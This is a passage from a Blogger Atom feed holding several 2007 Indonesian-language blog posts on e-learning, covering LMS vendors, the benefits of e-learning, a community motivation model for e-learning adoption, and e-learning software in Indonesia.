 competition&lt;br /&gt;11. The system’s ability to provide improved management  control&lt;br /&gt;12. The system’s ability to provide improved management  productivity&lt;br /&gt;13. The system’s ability to provide improved staff morale&lt;br /&gt;14.  The system’s ability to provide an improved corporate image&lt;br /&gt;15. The system’s  ability to provide improved customer service&lt;br /&gt;16. The system’s ability to  improved client/server relationships&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-2867016147052902373?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/2867016147052902373/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=2867016147052902373' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2867016147052902373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2867016147052902373'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/e-business-bagian-1.html' title='E-business ( bagian 1 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-4084313222409845331</id><published>2007-12-17T21:22:00.000-08:00</published><updated>2007-12-17T21:26:56.351-08:00</updated><title type='text'>E-Learning ( Bagian 5 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/12/13/peran-industri-ti-dalam-perkembangan-e-learning-secara-umum/" rel="bookmark" tip="Taut Tetap ke Peran Industri TI dalam Perkembangan E-Learning Secara Umum"&gt;Peran  Industri TI dalam Perkembangan E-Learning Secara Umum&lt;/a&gt;&lt;/h2&gt;&lt;div class="postentry"&gt; &lt;div class="snap_preview"&gt; &lt;p align="left"&gt;&lt;img src="http://obelfa.ankara.edu.tr/moodle/file.php/1/e-learning.jpg" align="left" height="285" width="300" /&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;E-learning berkembang dengan  dukungan penuh teknologi informasi. Di sini lebih tepat kita menggunakan istilah  “Teknologi Informasi atau TI“daripada sebatas istilah sempit “Software”.  E-learning berkembang tidak sebatas karena munculnya teknologi-teknologi  software baru melainkan lebih luas mencakup pula perkembangan teknologi  perangkat komputer dan networking. &lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;E-learning dikembangkan dari  perpaduan aspek pembelajaran dan aspek teknologi. Dari sisi teknologi,  keberhasilan e-learning mencakup perpaduan aspek teknologi :&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Software&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Hardware &amp;amp;  Networking/communication&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt; &lt;/p&gt; &lt;p class="MsoNormal"&gt; &lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Secara garis besar,  kontribusi atau peran dari perusahaan-perusahaan atau vendor TI terhadap  perkembangan implementasi e-learning dapat dikategorikan menjadi dua , yaitu  sebagai :&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Technology  Provider&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Service  Provider&lt;/span&gt;&lt;/p&gt; &lt;h4&gt;&lt;span style="font-size:85%;"&gt;Technology Provider &lt;/span&gt;&lt;/h4&gt; &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Technology provider fokus  pada pengembangan aplikasi e-learning dan platform berbasis web. Mereka  mengembangkan software-software yang dibutuhkan baik untuk penyusunan material  pembelajaran, hingga ke aplikasi pengelola sistem e-learning secara  komprehensif. Technology provider mengembangkan software e-learning dan menjual  lisensinya. Technology provider di bidang e-learning pun memiliki specialisasi  yang berbeda, antara lain :&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Pengembang LMS -Learning  Management System&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormalIndent"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Learning Management  System (LMS) berfungsi untuk menyimpan, mengelola dan mendistribusikan berbagai  material pelatihan, ujian/test yang telah disiapkan. LMS dilengkapi dengan  katalog on-line sehingga pembalajar dapat mengakses, memilih dan menjalankan  berbagai materi pelatihan yang ada. LMS mampu mencatat log atau tracking  aktivitas setiap pembelajar yang memanfaatkan e-learning.&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormalIndent"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Beberapa pengembang  LMS di dunia antara lain :&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet2"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;§&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Web-CT&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormalIndent" style="margin-left: 71.7pt;"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Web-CT merupakan salah satu leader di bidang e-learning software di dunia  dengan spesialisasi untuk implementasi di institusi pendidikan. &lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet2"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;§&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;BlackBoard&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormalIndent" style="margin-left: 71.7pt;"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Dengan aplikasi Academic Suite-nya, Blackboard juga menjadi salah satu  leader aplikasi e-learning untuk institusi pendidikan.&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet2"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;§&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Plateau&lt;/span&gt;&lt;img src="http://www.stel.ru/en/e-learning/stellus-en.gif" align="right" height="287" width="378" /&gt;&lt;/p&gt; &lt;p class="MsoListBullet2"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;§&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Saba &lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet2"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;§&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;SumTotal&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet2"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;§&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Docent&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet2"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;§&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Click2Learn &lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet2"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;§&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;TEDS&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet2"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;§&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;RWD, dll&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormalIndent"&gt; &lt;/p&gt; &lt;p class="MsoNormalIndent"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Beberapa contoh produk  software di atas merupakan &lt;em&gt;integrated package&lt;/em&gt; yang meman sudah didesain  dan dikembangkan secara profesional dan siap diimplementasikan.&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormalIndent"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Sebenarnya instritusi  penyelenggara e-learning baik institusi pendidikan maupun korporat dapat  mengembangkan aplikasi LMS dari awal (from zero). LMS dapat dikembangkan sendiri  dengan : VBScript, ASP, SQL Server atau Javascript, PHP, MySQL. Tetapi tentunya  konsekuensi waktu, sdm, biaya perlu dipertimbangkan. &lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormalIndent"&gt; &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-4084313222409845331?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/4084313222409845331/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=4084313222409845331' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4084313222409845331'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4084313222409845331'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/e-learning-bagian-5.html' title='E-Learning ( Bagian 5 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-616961346549914271</id><published>2007-12-17T21:21:00.000-08:00</published><updated>2007-12-17T21:22:44.448-08:00</updated><title type='text'>E-learning ( Bagian 4 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/12/13/manfaat-e-learning/" rel="bookmark" tip="Taut Tetap ke Manfaat E-learning"&gt;Manfaat E-learning&lt;/a&gt;&lt;/h2&gt;  &lt;div class="postentry"&gt; &lt;div class="snap_preview"&gt; &lt;p&gt;&lt;img src="http://www.tchs-dxb.sch.ae/portal/file.php/1/e-learning-p1.jpg" align="left" height="250" width="324" /&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Secara singkat, e-learning  memberikan manfaat sebagai berikut :&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Fleksibel &lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormalIndent"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;E-learning memberikan  fleksibilitas dalam memilih waktu dan tempat untuk mengakses pelajaran. Siswa  tidak perlu mengadakan perjalanan menuju tempat pelajaran disampaikan,  e-learning bisa dilakukan dari mana saja baik yang memiliki akses ke Internet  ataupun tidak. Bagi yang tidak memiliki koneksi internet, e-learning  didistribusikan melalui &lt;em&gt;movable media&lt;/em&gt; spe CD/DVD. Di samping itu  pembelajar saat ini dapat pula memanfaatkan mobile technology seperti notebook,  pda, atau telepon selular untuk mengakses e-learning. Fleksibiltas di dukung  juga karena saat ini berbagai tempat sudah menyediakan sambungan internet / hot  spot gratis menggunakan wi-fi atau wimax.&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt; &lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Belajar Mandiri  &lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormalIndent"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;E-learning memberikan  kesempatan bagi pembelajar secara mandiri memegang kendali atas keberhasilan  belajar. Pembelajar bebas menentukan kapan akan mulai, kapan akan menyelesaikan,  dan bagian mana dalam satu modul yang ingin dipelajarinya terlebih dulu.  Seandainya, setelah diulang masih ada hal yang belum ia pahami, pembelajar bisa  menghubungi instruktur, nara sumber melalui email, chat atau ikut dialog  interaktif pada waktu-waktu tertentu. Bisa juga membaca hasil diskusi di message  board yang tersedia di LMS (Learning Management System).&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;·&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Efisiensi  Biaya&lt;/span&gt;&lt;img src="http://digiredo.files.wordpress.com/2007/06/e-learning.jpeg?w=300&amp;amp;h=300" align="right" height="300" width="300" /&gt;&lt;/p&gt; &lt;p class="MsoNormalIndent"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Banyak efisiensi biaya  bisa didapatkan dengan e-learning. Bagi penyelenggara, dalam hal ini universitas  misalnya, biaya yang bisa dihemat antara lain :&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet2"&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Biaya administrasi  pengelolaan (biaya gaji dan tunjangan selama pelatihan, biaya dosen pengajar dan  tenaga administrasi pengelola pelatihan, makanan selama pelatihan),&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoListBullet2"&gt;&lt;span style="font-weight: normal; font-style: normal; font-family: Arial Narrow; font-variant: normal;"&gt;&lt;/span&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Penyediaan sarana dan  fasilitas fisik untuk belajar (misalnya: penyewaan ataupun penyediaan ruang  kelas, kursi, papan tulis, LCD player, OHP). &lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormalIndent"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Bagi pembelajar,  seperti dijelaskan di depan, efisiensi biaya transportasi dan akomodasi dapat  diperoleh. Di sektor bisnis/korporat misalnya, apabila sebuah perusahaan skala  nasional dengan cabang di bebagai propinsi akan memberikan pelatihan bagi  karyawannya dari seluruh cabang di Indonesia. Berapa biaya transportasi dan  akomodasi yang harus dikeluarkan untuk melaksanakan pelatihan tersebut ?. Para  karyawan pun terpaksa harus meninggalkan pekerjaan untuk mengikuti pelatihan.  Berapa produktivitas yang hilang dengan mengikuti pelatihan secara konvensional.  Dengan e-learning, material pelatihan dapat didistribusikan baik secara on-line  maupun off-line ke seluruh cabang yang ada. &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-616961346549914271?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/616961346549914271/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=616961346549914271' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/616961346549914271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/616961346549914271'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/e-learning-bagian-4.html' title='E-learning ( Bagian 4 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-1126825255930695690</id><published>2007-12-17T21:20:00.000-08:00</published><updated>2007-12-17T21:21:10.793-08:00</updated><title type='text'>e-learning ( Bagian 3 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/12/11/penerapan-e-learning-dengan-model-motivasi-komunitas/" rel="bookmark" tip="Taut Tetap ke Penerapan e-Learning dengan Model Motivasi Komunitas"&gt;Penerapan  e-Learning dengan Model Motivasi Komunitas&lt;/a&gt;&lt;/h2&gt;  &lt;div class="postentry"&gt; &lt;div class="snap_preview"&gt; &lt;p&gt;&lt;img alt="teknodik.gif" src="http://romisatriawahono.net/wp-content/uploads/2007/10/teknodik.gif" align="right" hspace="5" /&gt;Ceritanya, saya mencoba membuat model berdasarkan strategi-strategi  yang saya lakukan dalam implementasi e-Learning, khususnya untuk  IlmuKomputer.Com dan beberapa sistem e-Learning lain. Dan jadilah formulasi  sederhana bernama &lt;strong&gt;Model Motivasi Komunitas&lt;/strong&gt; alias  &lt;strong&gt;Community Motivation Model&lt;/strong&gt;. Saya bungkus formulasi tersebut  dalam suatu penelitian sederhana yang saya propose sebagai penelitian individu  pada &lt;a href="http://romisatriawahono.net/2006/08/07/diklat-peneliti-siapa-takut/" target="_blank" tip=""&gt;Diklat Peneliti LIPI tahun 2006&lt;/a&gt;. Nggak nyangka, dengan  judul penelitian ini saya mendapat penghargaan menjadi peneliti terbaik pada  Diklat Peneliti LIPI itu …hehehe (narsis mode on). Nah seperti biasa daripada  paper 17 halaman ini nongkrong terus di hard disk, tahun ini saya coba kirimkan  ke jurnal ilmiah Teknodik yang diterbitkan oleh &lt;a href="http://www.pustekkom.go.id/" target="_blank" tip=""&gt;Pustekkom&lt;/a&gt;, Depdiknas.  Alhamdulillah atas bantuan teman-teman di Pustekkom (thanks pak Ade, pak Uwes  dan pak Gatot &lt;img class="wp-smiley" alt=";)" src="http://romisatriawahono.net/wp-includes/images/smilies/icon_wink.gif" /&gt; ),  bisa cepat masuk di Jurnal Teknodik edisi Agustus 2007, tepatnya No.  21/XI/TEKNODIK/AGUSTUS/2007. Nah, daripada juga cuman sedikit dibaca orang di  jurnal teknodik, saya share sekalian di blog ini …&lt;/p&gt; &lt;p align="left"&gt;Paper saya susun dalam bentuk standard penelitian ilmiah, yaitu  pendahuluan, metodologi penelitian, proposed model (model motivasi komunitas),  hasil dan pembahasan, dan terakhir penutup. BTW, saya sedang membuat satu  tulisan lagi tentang teknik dan metode penelitian untuk skripsi, dan saya akan  jadikan penelitian ini sebagai contoh penelitian. Hanya mungkin perlu saya  perbaiki format penulisan paper (makalahnya) menjadi format skripsi. Ok mohon  sabar menunggu untuk artikel yang satu ini &lt;img class="wp-smiley" alt=")" src="http://romisatriawahono.net/wp-includes/images/smilies/icon_smile.gif" /&gt;&lt;img src="http://www.tecsua.com/images/e-learning.jpg" align="left" height="231" width="369" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Kembali ke tulisan di jurnal, saya mengambil latar belakang  adanya masalah di dunia penerapan e-Learning. Menurut sebuah studi tahun 2000  yang dilakukan oleh Forrester Group kepada 40 perusahaan besar di Amerika  menunjukkan bahwa sebagian besar pekerja (lebih dari 68%) menolak untuk  mengikuti pelatihan atau kursus yang menggunakan konsep eLearning. Ketika  eLearning itu diwajibkan kepada mereka, 30% menolak untuk mengikutinya [Dublin  &amp;amp; Cross, 2003]. Sedangkan studi lain mengindikasikan bahwa dari orang-orang  yang mendaftar untuk mengikuti eLearning, 50-80% tidak pernah menyelesaikannya  sampai akhir [Delio, 2000].&lt;/p&gt; &lt;p align="justify"&gt;Nah dari sini, saya approach dengan Model Motivasi Komunitas  yang saya buat. Model inilah yang sebenarnya dulu saya terapkan untuk  IlmuKomputer.Com dan juga di e-Learning lain. Saya analisa data-data dari hasil  pengujian modelnya. Saya uji dan buktikan apakah relasi-relasi antar  &lt;strong&gt;Konsep&lt;/strong&gt; atau &lt;strong&gt;Subkonsep&lt;/strong&gt; di Model Motivasi  Komunitas tersebut terbukti. Jangan lupa melihat bagian Metodologi Penelitian di  makalah untuk menelusuri tahapan penelitian yang saya lakukan. Nah hasil  analisanya sendiri secara lengkap ada di bagian Hasil dan Pembahasan. Sebenarnya  yang saya lakukan sangat sederhana, disamping variable yang saya uji juga tidak  terlalu banyak, tapi paling tidak proses dan tahapan penelitian ilmiahnya  tergambar secara jelas. Ini mungkin yang menjadi faktor utama para reviewer di  Diklat Peneliti LIPI memberi grade bagus &lt;img class="wp-smiley" alt=")" src="http://romisatriawahono.net/wp-includes/images/smilies/icon_smile.gif" /&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-1126825255930695690?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/1126825255930695690/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=1126825255930695690' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1126825255930695690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1126825255930695690'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/e-learning-bagian-3.html' title='e-learning ( Bagian 3 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-1173711969145075918</id><published>2007-12-17T21:15:00.000-08:00</published><updated>2007-12-17T21:18:09.126-08:00</updated><title type='text'>e-learning ( Bagian 2 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/12/13/perkembangan-software-e-learning-di-indonesia/" rel="bookmark" tip="Taut Tetap ke Perkembangan Software E-learning di Indonesia"&gt;Perkembangan  Software E-learning di Indonesia&lt;/a&gt;&lt;/h2&gt;  &lt;div class="postentry"&gt; &lt;div class="snap_preview"&gt; &lt;p&gt;&lt;img src="http://bulletin.vnu.edu.vn/btdhqghn/vietnamese/c1483/c1635/2005/06/n7204/e-learning_s.jpg" align="left" height="297" width="300" /&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Pengembangan software  e-learning di Indonesia saat ini tampak semakin banyak dilakukan baik oleh  institusi-institusi pendidikan untuk kepentingan intern proses  belajar-mengajarnya, maupun oleh para vendor profesional untuk kepentingan  komersial.&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Di bidang pendidikan semakin  banyak perguruan tinggi negeri dan swasta di Indonesia mulai mengembangkan dan  mengimplementasikan e-learning untuk melengkapi pola pembelajaran konvensional  yang ada. Pengembangan pada umumnya dilakukan dengan menjalin kerjasama dengan  pihak ketiga sebagai implementator, integrator dan penyedia layanan komunikasi.  SDM intern di institusi tersebut lebih memfokuskan pada pengembangan content  atau materi pembelajaran yang akan disampaikan melalui e-learning  tersebut.&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Salah satu contoh  perkembangan e-learning di bidang pendidikan seperti dilansir Detikinet  (21/11/2005) :&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin-left: 36pt;"&gt; &lt;/p&gt; &lt;p class="MsoNormal" style="margin-left: 36pt;"&gt; &lt;img src="http://www.cgd.gc.ca/cgdweb/images/index.jpg" align="right" height="247" width="272" /&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin-left: 36pt;"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;&lt;em&gt;Institut Teknologi Bandung (ITB) bersama dengan 20 puluh universitas  dari 11 negara di Asis yang tergabung di proyek School of Internet (SoI) Asia,  meluncurkan platform Distance Learning atau pembelajaran jarak jauh generasi  terbaru, yang pertama di dunia menggunakan teknologi multicast IPv6. Distance  Learning dilaksanakan melalui perkuliahan, seminar, workshops, dan event khusus,  baik secara real-time (langsung), maupun secara archived (terekam).  Universitas-universitas yang jadi anggota, saling berbagi pengetahuan dan tenaga  pengajar untuk keperluan mahasiswa-mahasiswa di 20 universitas  ini&lt;/em&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial Narrow;font-size:85%;"&gt;Untuk kepentingan komersial,  semakin banyak pengembang software di Indonesia yang mengembangkan produk-produk  software pembelajaran interaktif yang dapat mendukung e-learning. Beberapa  produk yang ada di pasaran dikembangkan dengan konsep yang beragam. Beberapa  produk dikembangkan dengan mengacu pada kurikulum pendidikan formal yang berlaku  sehingga produk tersebut diharapkan dapat diterapkan dan dimanfaatkan di  institusi pendidikan formal mulai dari pendidikan dasar hingga pendidikan  tinggi. Pengembang lain memilih mengembangkan produk pembelajaran dengan materi  yang bersifat lebih umum.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-1173711969145075918?l=adingresik.blogspot.com' alt='' 